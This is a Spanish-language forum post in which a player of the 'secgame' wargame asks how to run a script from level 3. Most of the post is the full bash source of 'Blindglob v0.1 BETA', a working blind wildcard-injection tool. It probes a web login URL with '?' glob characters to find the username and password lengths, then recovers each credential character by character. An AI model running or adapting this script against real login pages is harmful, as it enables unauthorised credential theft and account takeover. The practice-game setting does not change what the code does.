mi duda es la siguiente estoy utilizando el juego de secgame pero en la resolucion 3 me mandan a correr un script el cual es para hacer un ataque de diccionario alguien sabe como correr ese script se los dejo
Código:
#!/bin/bash if [ $# -ne 2 ] then echo "Blindglob v0.1 BETA" echo "-------------------" echo "Usage: $0 url token" echo "" echo "<*> Tokens: _USER_ _PASS_" echo "<*> Example: $0 http://domain/script?login=_USER_&password=_PASS_ Hacking" exit fi echo "Blindglob v0.1 BETA" echo "-------------------" echo "<*> Working ..." FIN="no" STRBRUTE="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" USERLEN=0; PASSLEN=0; # CALCULO DE LA LONGITUD DEL CAMPO USUARIO URLX=$(echo $1 | sed -e "s/_USER_/•/" -e "s/_PASS_/*/") URL1=$(echo $URLX | cut -f1 -d"•") URL2=$(echo $URLX | cut -f2 -d"•") TOKEN="?" until [ "$FIN" = "end" ] do RET=$(links -dump "$URL1$TOKEN$URL2") if echo $RET | grep -q $2 then FIN="end" fi TOKEN="$TOKEN?" let "USERLEN=$USERLEN+1" done echo "<*> Longitud de usuario: $USERLEN" # CALCULO DE LA LONGITUD DEL CAMPO PASSWORD FIN="no" URLX=$(echo $1 | sed -e "s/_USER_/*/" -e "s/_PASS_/•/") URL1=$(echo $URLX | cut -f1 -d"•") URL2=$(echo $URLX | cut -f2 -d"•") TOKEN="?" until [ "$FIN" = "end" ] do RET=$(links -dump "$URL1$TOKEN$URL2") if echo $RET | grep -q $2 then FIN="end" fi TOKEN="$TOKEN?" let "PASSLEN=$PASSLEN+1" done echo "<*> Longitud de contraseña: $PASSLEN" # CALCULO DEL USUARIO FIN="no" URLX=$(echo $1 | sed -e "s/_USER_/•/" -e "s/_PASS_/*/") URL1=$(echo $URLX | cut -f1 -d"•") URL2=$(echo $URLX | cut -f2 -d"•") for count in $(seq 1 $USERLEN) do BRUTE=1 until [ "$FIN" = "end" ] do TOKEN=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE) RET=$(links -dump "$URL1$TOKEN*$URL2") if echo $RET | grep -q $2 then FIN="end" let "BRUTE=$BRUTE-1" fi let "BRUTE=$BRUTE+1" done FIN="no" USU=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE) done echo "<*> Usuario: $USU" # CALCULO DEL PASSWORD FIN="no" URLX=$(echo $1 | sed -e "s/_USER_/*/" -e "s/_PASS_/•/") URL1=$(echo $URLX | cut -f1 -d"•") URL2=$(echo $URLX | cut -f2 -d"•") for count in $(seq 1 $PASSLEN) do BRUTE=1 until [ "$FIN" = "end" ] do TOKEN=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE) RET=$(links -dump "$URL1$TOKEN*$URL2") if echo $RET | grep -q $2 then FIN="end" let "BRUTE=$BRUTE-1" fi let "BRUTE=$BRUTE+1" done FIN="no" PAS=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE) done echo "<*> Contraseña: $PAS"